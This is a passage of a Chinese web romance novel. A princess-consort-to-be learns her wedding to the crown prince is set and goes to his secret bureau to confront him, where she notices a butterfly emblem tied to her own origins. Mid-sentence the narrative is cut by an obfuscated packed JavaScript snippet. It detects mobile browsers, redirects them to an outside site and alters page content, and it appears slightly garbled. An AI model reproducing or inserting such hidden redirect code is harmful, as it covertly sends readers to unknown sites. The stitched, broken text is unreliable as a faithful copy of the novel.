裴旖朝她丢了颗瓜子。她就知道今早谢颜忽然火急火燎登门拉她出来准没好事,自打那天从雁鸣山回京已经有十来日了,东宫那边全无消息,全靠谢颜这几日来陪她闲聊时透露的八卦,说太子最近在忙着抄家,先前一直胶着的贪墨案正巧在他坠崖的这两日有了眉目。这一次被查的几人全都是两朝的老臣,牵连出的数额庞大,最近东宫每个人都恨不得生出三头六臂,数钱数到手抽筋,且忙着呢。 裴旖隐隐觉得此事甚是凑巧,怎么这件案子之前胶着了那么久,在晏绥坠崖后就突然有进展了? 谢颜感叹道:“要不怎么说是太子从凉昭回京是吉星归位,天命难为呢。原本因为要查这件案子再加上体内余毒未清,太子并未打算去春猎的,偏巧你们去春猎的第一日宫里来个了云游的神医,给太子开了副药方,但其中有味药材十分罕见,全京城竟也寻不到一棵出来。” “皇上命太医院想办法,那群太医回去翻了一宿的医书古籍,最后回话说,这种药草之所以稀有,是因为长在悬崖峭壁之下,且要数十年才能长成一株,可遇不可求,眼下最近的,可到雁鸣山去碰碰运气。” 裴旖顿悟:“所以他才忽然来春猎的?” 谢颜点头:“正是。” 裴旖心道,怪不得那天他执意要去赏花,她就说他哪里来的闲情雅兴,原来是另有隐情。 面前的人喝了口茶,继续道:“在你们俩坠崖之后,东宫的人抓住了一个刺客,严刑拷打后那人供出了自己的雇主,正是这次贪墨案中为首之人郭恒的小儿子,郭羽。” 裴旖微微惊愕,谢颜接着绘声绘色道:“但对方自然是不承认嘛,不过东宫的人哪个是吃素的?何况太子生死未明皇上也是心急如焚,宁杀错不放过,东宫的侍卫把郭家的宅子撅了个底儿掉,郭羽也被朱雀司抓回去严刑拷问。他本来就是个不学无术的纨绔草包,刚开始还嘴硬,进去之后很快就被吓得连东南西北都分不清了,说漏嘴将他家暗室的位置泄了出来,朱雀司过去一搜,满满一地下室的黄金啊!珠宝和字画更是数不胜数!皇上动了大怒了,郭家两朝元老,这次是彻底完了,贪墨案也撕了个口子出来,后面再审其他的人就容易多了。” 裴旖暗自咋舌,未曾料到这次坠崖对于晏绥来说竟然还因祸得福了。 只是案件有进展是好事,却不知现下他身上的伤怎么样了,更不知东宫的人后来有没有找到悬崖下那株药草? 她询问谢颜,对方一脸促狭,挤眉弄眼道:“这我就不知了,你若是担心,就直接去问晏郎嘛!” 裴旖嗔她一声,没有再说话。 前两日她也犹豫过要不要主动问一问晏绥。经过坠崖一事后两人的关系变得微妙,她心里有些逃避去面对他,但不管怎么说,坠下山崖之时是他救的她,于情于理她似乎都应该去问候一下。 她好不容易拿定主意要差人去东宫时,却被突然登门的苏家兄妹意外打断。 两人是专程前来道谢的。从前在北靖时苏家兄妹住在晏家,和陆从周自然也是旧时,收过谢礼后陆从周留两人用膳,饭后陆从周邀请苏青琰一起下棋,裴旖陪着苏黎盈在园中赏景,走到湖心中的亭子时,对方再次诚恳致谢:“那日的事情,多谢郡主。” 裴旖微微笑道:“那日我不是出力最多的,苏姑娘莫要太过挂怀。” 苏黎盈笑了下,静默片刻,声音有意放低了些:“当时我并非是不信你,是我自己早已挣扎得筋疲力尽了,越是想挣脱就越是陷得厉害,所以在你说让我躺下时,我已经没有胆量再试了。” 裴旖宽慰道:“当时那样的情况,苏姑娘本来就很疲惫也很惶恐,我理解的。” “回京城后,大夫说我若是被救出来得再晚一些,即使保住性命,双腿也很有可能因为在泥沼中陷得太久而再不能下地行走。” 回想那天树林中的一幕,苏黎盈仍觉心有余悸,“北地干涸,我从未遇见过这样的沼泽,竟不知后果如此严重,这一次真的多亏郡主出手相救。” 裴旖淡淡弯了弯唇,岔开话题:“苏姑娘与公主的赌约这一次还是没能分出胜负,甚是可惜。” 身旁的人自嘲调侃道:“是啊,可能老天都看不惯我们各自拿着别人相赠的东西来赌吧。我的马是我兄长送的,他知道我与公主赌了他送的马,好几日没有理我呢。” 裴旖听言忽然想起另一件事来,回眸示意青霜:“那日我在山上捡到一样东西,当时情况紧急没有来得及交给苏姑娘,未曾想竟耽搁到现在。” 青霜端着一个托盘上前,苏黎盈的眼睛蓦然一亮,伸手将手串拿起,表情甚是激动惊喜。裴旖在一旁微笑柔声道:“因为担心这手串是碰不得水的吉物,所以只是擦拭了外表,今日正好——” 话说到一半,她倏然顿住声音,也停住了目光。 对方沉浸在喜悦中,并未觉察出她的古怪,没有注意到她就像是运转中的机器突然卡壳了一瞬,而后恢复了正常,微笑将话说完:“正好物归原主。” 苏黎盈不住连声道谢,激动得眼泪都快出来了。她主动与裴旖讲起这枚手串的渊源,每一颗珠子代表的含义都不同,这一颗是她生辰时父亲命工匠打造的,那一颗是她哥哥去高山的寺庙为她求的,还有一颗是她母亲留下来的遗物…… 这个手串于她而言十分珍贵,她发现手串丢了后第一个念头就是要回山上去找,奈何自己身体一直没恢复好,山上又接二连三出事,兄长不许她出门,她在家里自责得大哭了一场,没想到竟然是被郡主给捡到了。 裴旖心不在焉听着她的话,唇边的笑意礼貌而疏离。 那日她从崖底被救上来后倦得厉害,随手将这手串给了青霜,嘱咐对方仔细收着。她自己一直没有再看过这手串,因此就也一直没有发现,这条手串上有一颗珠子,与晏绥那把屠狼的短刀刀柄上嵌着的珠子,是一对。 也就是说,那把匕首是苏黎盈送给他的。 而晏绥将她送的东西随身携带,想来也并非对她全然无意吧? 裴旖慢慢收起视线,心绪骤然变得模糊难明。 若是这个发现出在她和晏绥坠下山崖之前,她的心情自然毫无波动。可是他们在山底独处的那一天一夜里,每一件事在当时生死攸关的情境下都不觉有异,但隔了这些时日回头再细想起来,很多画面分明暧昧得粘稠不清,甚至在最后一刻时,他还差点吻了她。 所以,她算什么? 他既然不喜欢她,为何还要这样对她?他是把她当成了无聊时的消遣,还是欲望上头时的发泄? 裴旖沉下羽睫,面色平静异常。 她并未因此觉得难过或者愤怒,相反她冷静得有些过了头,在发现匕首的真相那一瞬的怔神之后,她看着面前兴奋得喋喋不休的少女,漫不经心想,或许她可以利用他们的青梅竹马之谊,去拖延自己与晏绥的婚期。 可惜这个计划还没来得及实施就不幸夭折了。 因为这一次的贪墨案规模非同小可,整个京城无论男女老少逢人全都在谈论这件事,他们痛骂贪官黑心贪禄、有损阴德,同时盛赞太子殿下雷厉风行、铁面无私、吉星高照、身残志坚(……)。 空前高涨的民心在谋害太子的刺客当街问斩的一刻被刺激到了顶峰,京城的街头巷尾传遍了郡主为太子勇闯悬崖摘药草惨遭贼人暗算、太子为护郡主身负重伤双双坠崖最终奇迹生还携手回京铲污吏的感人事迹,千言万语汇成一句话:有储君/妃如此,天佑我大昱! 人言很快传到宫中,皇上听后龙心大悦,连连抚掌称好,大笔一挥,当即在礼部呈上来的吉期上圈出了排在最前面的一个:五月十六。 “什么?!” 裴旖猛地站起来,双瞳睁大。青霜以为她是太惊喜,喜气洋洋重复道:“恭喜郡主,与太子殿下成婚的吉期已定,正是下月十六!” 裴旖眼前一黑,惊得半天说不出话来。她闭眼揉了揉眉心,无奈想,这回她必须得亲自去见一见晏绥了。 她吩咐青霜带上食盒,主仆二人直奔东宫。这一路裴旖坐立难安,下了马车后走得飞快,却扑了个空,侍卫说太子殿下最近忙于政务,已经有好几日没有回来了。 裴旖追问他现在在哪里,侍卫面露难色。她心浮气躁,出宫后命人将马车停到僻静处,叫来阿卯,说自己要见晏绥。 对方见她神色严肃,歪头权衡一番,同意带她过去:“但是郡主只能单独前去。” 裴旖一怔,猜测对方要带她去的是朱雀司办案的地方。她点了点头,吩咐青霜和车夫先行回府,自己拎着食盒踏下了车。 阿卯带着她在巷子里穿了几道眼花缭乱的弯后,不知从哪里搞出来一辆马车。 这辆马车的车身比寻常的要窄上许多,窗上的帘子也被钉死了,坐在其中宛若与世隔绝,很是沉闷压抑,再加上阿卯的车技实在是太野,硬是将平坦的石板路走出了山路十八弯,上车时还好好的人在下车时被颠得一脸惨白,裴旖跌跌撞撞踏出马车,眼看着就要吐出来了,阿卯在一旁拍着她的背,兀自纳闷儿:“方才走得很快吗?” 裴旖垂着脑袋弯着腰,一边干呕一边挣扎回应她:“……不快。” 她都没从车里飞出去呢,怎么能叫快? 可惜身侧的人听不见她的真心话,笑眯眯大言不惭道:“我驾的车在东宫里可是出了名的稳呢,倘若今日带郡主来的人是殿下,郡主只怕早就在车上晕过去了!” 裴旖苦笑一声,忍耐片刻后,稍微缓了口气,视线环顾四周,她们所处的位置似乎是某个村庄,面前是一座看似十分寻常甚至略有老旧的一处民宅,阿卯跳上台阶,在门上很有节奏地叩了三下。 很快门开了,阿卯与开门的人低语几句,对方听闻来人的身份后很是惊讶,不敢怠慢,恭敬行礼让行。 裴旖稳了稳神,拎着食盒踏上了台阶。黑色木门在她身后缓缓合上,阿卯足尖一点,身影瞬时消失无踪。 她暗暗打量着自己所处的庭院,院子并不算大,但很干净整洁,庭前有两个老翁在修剪花草,几个穿着暗红焱影服的人捧着卷宗进进出出,走在最末的人哈欠连天问同伴晚上去哪里吃酒,房檐下落着一红一白两只鹦鹉,一高一低叫着:“来人!来人!殿下!殿下!” 裴旖原以为朱雀司这样掌管无数人生死命运的地方应该阴冷肃杀,充满戾气,却不想真正见到时竟这般平平无奇,甚至还莫名的有几分烟火气,令她甚感意外。 朱雀司的前身是玄武卫一个不起眼的分支。数年之前,刚及束发之年的太子借用玄武卫的人手出其不意破了一桩僵持许久令朝中众臣颇为头疼的要案,皇上大喜过望, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15126441|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫宴醉酒后脑袋一热要将玄武符一分为二分给太子,被几个老臣以太子虽好但还年轻尚需历练为由拼死拦住。 隔日酒醒之后,皇上也自觉失言。自前朝以来,玄武卫一直是皇宫内最为特殊的存在,他们专为皇帝刺探朝堂内外乃至整个大昱,只向皇帝一人汇报,也只听从皇帝一人的命令。他们所能触及的范围无限之大,所能产生的影响可好可坏,完全取决于用他们的人,所以即使是太子,即使是自己的亲生儿子,即使威胁到他手中权力的可能只有万分之一,他也绝不能冒险。 但天子一言九鼎,前一晚他当众扬言要嘉奖太子,总不能一觉醒来后装作无事发生。他思来想去,最后将这一次玄武卫中协助太子的几个人与另一件案子一同扔给了太子,名为褒奖历练,实则暗示得明明白白:若他能破得了案子,这几个人日后便归他使用。若是他不能,那玄武卫他也不配惦记,这几个人需得尽数归还。 原本出言反对的那几个老臣对于这种过家家式的奖赏自然再无异议,何况这一次的案子比上一件被太子歪打正着破了的案子要棘手得多。 皇上这是特意给太子出了道难题呢,他们冷眼等着太子向皇上低头,多少也能稍微挽回一点他们在上一件案子里损失的颜面,却不想太子领了那几个人后没日没夜地调查审问,不出半月竟还真被他给查出了结果来。 众人无话可说,皇上亦是,从那之后他就默许了太子自行使用这几个玄武卫出去的人,也默许了他在这几人之上逐步添砖加瓦,直至堆砌成了今日的朱雀司。 虽然朱雀司的人数和规模远不如玄武卫庞大,但它胜在精锐灵活,协助太子陆续破获了不少要案。这些年来,玄武卫在整个京城乃至大昱如雷贯耳,声名在外,而朱雀司却始终低调神秘,外人只说得出是太子审人上刑地方,其他的信息一盖没有听到过,因此一来二去,便衍生出了许多离谱的传言。 有人说朱雀司的地牢有十八层,每一层的刑罚与十八层地狱相对。有人说朱雀司里有座兽园,数百只凶禽猛兽每日食人血肉,为首的几只已经炼成了精怪。还有人说朱雀司在一座山上,那座山是用十万尸身堆起来的,极其凶戾,只有太子这样的纯阳之气才能镇得住,因而这一次太子被刺杀也尤为引发众怒——倘若太子真出了什么闪失,十万的鬼魂被放出阴山,岂非是要天下大乱? 裴旖微扯唇角,敛眸收起思绪。 她做过鬼,最有发言权,人比鬼可怕多了。 在她身前领路的是个年纪不大的少年,她问他:“殿下在里面?” 少年摇摇头,引着她走上一座廊桥:“郡主来得不巧,殿下刚刚出去。” 她脚步一顿:“他什么时候回来?” 对方答话:“少则一两个时辰,多则不好说了。” 裴旖微微沉眉,少年将她领进一处茶室后便退了出去,掩上了门。 她放下食盒,起身踱步一周,房间布置很是用心,桌上的茶具,墙上的字画,以及香鉴流出的袅袅青烟,无一不是精致考究。东侧的屏风之后是一处更大的房间,桌案上堆满了卷宗,书架旁挂着一件暗龙纹的玄色披风,想来就是晏绥办公的地方了。 裴旖在屏风旁站了半刻,没有再往前,退回到了茶桌旁的圈椅上坐了下来。 喝了半盏热茶后,她胃里舒服了些,原本的焦躁心绪也慢慢平复下来。她放下茶杯,心中默默思忖着,眼下最坏的结果,莫过于她下个月嫁入东宫。 倘若她去了东宫,人身的自由受限不说,与长公主的接触也势必不再像从前一样方便,这于她而言很是不利。再者自从这次她回京之后,只在晚膳时见过长公主两次,其余时间对方都是闭门不出,相反陆从周最近在府中的时间反而多了起来,请医待客皆是他来操持,她心中隐隐觉得这样的变化有些怪异,却又说不出具体是哪里不对。 裴旖闭上眼,手臂撑在桌沿上,略有烦躁叩了叩额头。 若是嫁进东宫,眼下对于晏绥她至多只有三层把握。可若是不嫁,以她这两辈子对她这位母亲的了解,晏月华这个人绝对没有什么蛰伏的耐心。现在对方整日称病不见自己,连在人前时也一脸冷漠懒得再装下去了,显然是耐心濒临告罄的前兆。 她敢断定,上一次她放火烧了别院后晏月华就已经很想杀她了,只不过因为东宫突然插手而一拖再拖。后来晏绥突然回京,长公主和璟王原本的计划更是被全盘打乱,现在他们还留着她一条命,完全是因为他们在顾忌和观望她身后的晏绥。 她是他们能安插进东宫的唯一一枚棋子,若是这一次她没能如他们所愿嫁进东宫,只怕璟王也压制不住晏月华的脾气,那她可就真的凶多吉少了。 裴旖无声苦笑,放下手臂,阖眼靠在座椅上。 她从正午等到日落,期间昏昏沉沉睡了几觉,肚子都等得咕咕叫了起来。她垂着脑袋,半梦半醒间,眼皮缝隙的视野中多出来一双暗金云纹的靴子。 她恍惚阖上眼,半刻之后倏然清醒。 这人走路一向没声音,她是领教过的,因此虽被骇了一跳但也很快反应过来,抬起脸睡眼惺忪唤了声:“殿下——” 少女的话音戛然而止。 她仰脸看着面前的人,黑眸缓缓诧异睁大,唇瓣微张,仿佛发现了什么不可思议的事情。 晏绥原本是想摸她的头,大掌随着她的反应悬在她头顶停了停,最后落到她颊边揉了一把:“怎么,看见鬼了?” 他的手掌微凉,带着室外晚春的寒意,她没有躲开,也没有回话,目光定定落在他的脖子上。 窗外落日正盛,灿暖的金光透过窗棂,将不知是这房中哪一物上的纹样照映在了他颈侧,乍看之下竟与他领间的腾龙相得益彰,仿佛那龙被困在玄色的牢笼里,拼命想要为了追它而挣脱出去,莫名为他一身的肃冷增添了几分浪漫缱绻。 那条龙追逐的,是一只蝴蝶。 一只与她怀中玉佩样式分毫不差的蝴蝶。 28. 第 28 章 暮色四合,天边的余晖渐渐隐去。 晏绥翻身下马,俊逸面庞上沉沉笼着一层阴翳之色。 守在门前的人接过缰绳,他快步踏上台阶,余光瞥见房檐上的一角黑衣,诧异停住脚步:“阿卯?” 房上的人倒吊着探下身来,轻盈得像一只燕子:“在!殿下!” 他顿了数秒:“何时来的?” 阿卯回:“正午,约莫有三个时辰了。” 晏绥闻言,视线转向一旁牵马的少年,对方压低声音道:“郡主一直在茶室等您,不曾去过其它房间。” 他没有说话,沉眸整了整自己的护臂,脸色看不分明。 北风摸不准面前人的心思,向阿卯投去求助的目光。阿卯盈盈笑道:“郡主知道殿下这几日办案劳累,特地带了殿下喜欢的点心呢。” 男人嘴上冷淡哼了声:“她是来找孤问罪的。” 身体却很诚实,墨黑披风在台阶上一扫而过,带起一阵轻快的风。 北风看着他匆匆离开的背影,一脸茫然:“殿下这到底是高兴,还是不高兴啊?” 阿卯从怀里摸出颗蜜饯,放进嘴里咬开,口齿不清数落:“你呀你,你还想看殿下在你面前跑起来呀?” …… 晏绥快步穿过连廊,站在窗外看着房内的身影半晌,抬脚走进茶室。 他在她身前站定,无声打量着面前的人。数日不见,她的脸色比之前红润了不少,腮上好像也略微圆润了些。见她呆呆盯着他不回话,他便也光明正大地没有松开手,粗粝指腹在她的滑腻面颊上流连着蹭了又蹭,最后俯身盯着她的眼睛:“看见什么了?” 颈上的图案因着他的动作蓦然消失,椅子上的人轻轻眨了下眼,仿佛直到这一刻才彻底梦醒,嗓音又哑又软:“蝴蝶。” 晏绥略微思索,而后低笑一声,放开她的脸颊,动作极其自然地把手递给她,嗓音沉淡,带着微不可察的宠溺:“你真是小猫吗,也喜欢扑蝴蝶?” 裴旖鬼使神差搭上他的手,借着他的力量站起身,又迟钝觉出不对,下意识想抽回自己的手,可他却好似早有预判一般将她的手指握得更紧。 她心里一惊,抬起头看向他的侧脸。他的面色自若,仿佛这般的亲昵发生在他们之间再正常不过,牵着她大步往前,掠过屏风,走进内室。 裴旖独自坐在榻上,望着他的挺拔背影,心底莫名生出不安。 先前坠下山崖时两人之间虽有暧昧举动,但当时的情况特殊,他们的性命绑在一起,即使有肢体接触也是为了活命,那种暧昧是假的,是做不得数的。 眼下他们有小半个月的时间未见,她以为已经足够那种暧昧的错觉冷下来了,可方才他的一系列举动,分明还是在延续山底那一日的氛围。 她心神不宁,有些无措该如何应对。面前人脱下披风后,走回来在她面前的椅子坐下,拿起茶杯,闲闲命令:“说吧。” 裴旖的思绪还在游离:“……说什么?” “蝴蝶。” 晏绥瞟她一眼,“什么蝴蝶,给你迷成这样?” 裴旖敛起神思,暂且抛开了心中的不宁,略微斟酌后,开口道:“臣女有一块蝴蝶玉佩,殿下可曾听说过?” 他嗯了声,她接着道:“那枚蝴蝶样式独特,臣女十八年来从未在别处见过,因而方才在殿下身上看到时,一时觉得惊奇,走了神。” 对方的反应十分平淡:“那个蝴蝶纹样本就是晏家的,你在孤这里看到有何稀奇?” “……晏家的?” 裴旖的心跳砰砰狂响。 晏家的蝴蝶怎么会是她的随身信物?难不成她也是晏家人,亦或是她的亲生父母和晏家关系匪浅? 晏绥侧目看着她,似乎是觉得她执着于一枚图样有些奇怪,但这种固执无伤大雅,因而他便也尽量满足她,回忆一番后,淡声开口道:“这枚蝴蝶出自北靖一名禅师之手,是当年先皇寿辰时进献的贺礼,图案虽然精美,但细节雕琢起来太复杂,再加上后来图纸意外损毁了,因而所制成的东西极少,你手中的玉佩算一个,方才茶室里的镂刻也算一个。” 裴旖听着他的话,喉咙紧张得发涩:“也就是说,只有晏家的人,或是与晏家关系密切的人,才可能拥有这枚蝴蝶?” 他略一颔首:“差不多。” 裴旖暗暗深吸口气。她心中膨胀翻涌着无数疑问,但又担心自己再问下去会引起面前人的怀疑,只得艰难按捺下去,生硬岔开话题:“殿下的伤怎么样了?” 晏绥掀眸看了眼她这副心不在焉言不由衷的模样,慢条斯理转了转手中的杯盖,淡淡道:“无妨。你的脚伤如何了,大夫怎么说?” 提起脚伤,裴旖不可避免又想起在山底时他帮她揉脚踝的那一幕,耳廓不可控制泛起热,垂下睫,声音很轻:“多谢殿下关心,大夫说臣女伤得不重,休息几日就好了。” 他不咸不淡问:“那你为何今日才来?” 裴旖被他突然转变的话锋问得一怔,茫然抬起脸:“我……臣女听闻殿下公务繁忙,不敢贸然前来打扰。” 他面色不明追问:“那今日你为何又忽然敢了?” 裴旖被他这番毫无道理却理直气壮的兴师问罪逼问得莫名心虚,一时竟忘了自己今日前来的目的。男人静等了她片刻,而后放下茶杯,像是要起身朝她压过来。她心头莫名一慌,身体僵直绷紧,两只手防备撑在榻上,口不择言反问:“殿下不是也没来看臣女?” 然而面前的人只是换了个坐姿,闲闲看她一眼:“你希望孤去看你?” 裴旖一噎,肢体尴尬保持着防备的姿态:“我……” “郡主不否认,那便是默认了。” 对方接着不紧不慢道,“虽然长公主府是有点不方便,不过既然郡主希望孤来,孤定会尽力一试。” 裴旖:“…………” 他一脸正色,倒让她一时分不清他到底是真心还是捉弄她了。 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裴旖自嘲扯了下唇,语焉不详道:“臣女只是在想,也不知东宫与长公主府,哪一个才更安全?” 晏绥神色不明地看了她一会儿:“哪个更安全,取决于郡主所认为的危险来自于哪里了。” 裴旖半真半假玩笑:“若是来自于殿下呢?” 他的语气云淡风轻:“那郡主就更要来东宫了。危险只能破解,逃避最是无用。” 裴旖垂下眼,黯然失笑。这个回答完全是晏绥的风格,但却也完全符合如今她的处境。 从上一世长公主的人登门假意认她为郡主的那一刻起,她就已经走进死局了。无论后续她在对方谋算东宫的计划中有用与否,对方都不可能让她活着离开,所以即使力量悬殊,即使是蚍蜉撼树,她都只能直面破解,没有后路可退。 她抬起眸,清声道:“那日在悬崖下臣女所求殿下拖延婚期一事,还望殿下兑现。” 晏绥漫不经心反问:“倘若孤兑现不了呢?” 她望着他的乌眸清润润的:“殿下一言九鼎,既然那日答应了臣女,殿下就肯定有办法做到。” 晏绥轻哂一声,小狐狸还学会奉承他了。 “但若是孤现在反悔了,不想兑现了呢?” 裴旖听出他此刻心情不错,只是想听她多哄他夸他几句罢了。 她心里暗暗嫌弃,脸上装出一副温柔小意的模样,柔声恭维道:“殿下是上京城第一君子,君子行而无悔,所以殿下不会反悔,只会戏弄臣女。” 晏绥闻言失笑,上京城第一君子?这种鬼话也亏她说得出口。 “郡主这话漏洞百出,孤几时戏弄郡主了?” 裴旖面不改色道:“殿下又不想与臣女成婚,还故意说反悔来唬臣女,可不就是戏弄嘛?” 面前人定定看着她的脸,少顷之后,掀唇反问:“谁说孤不想?”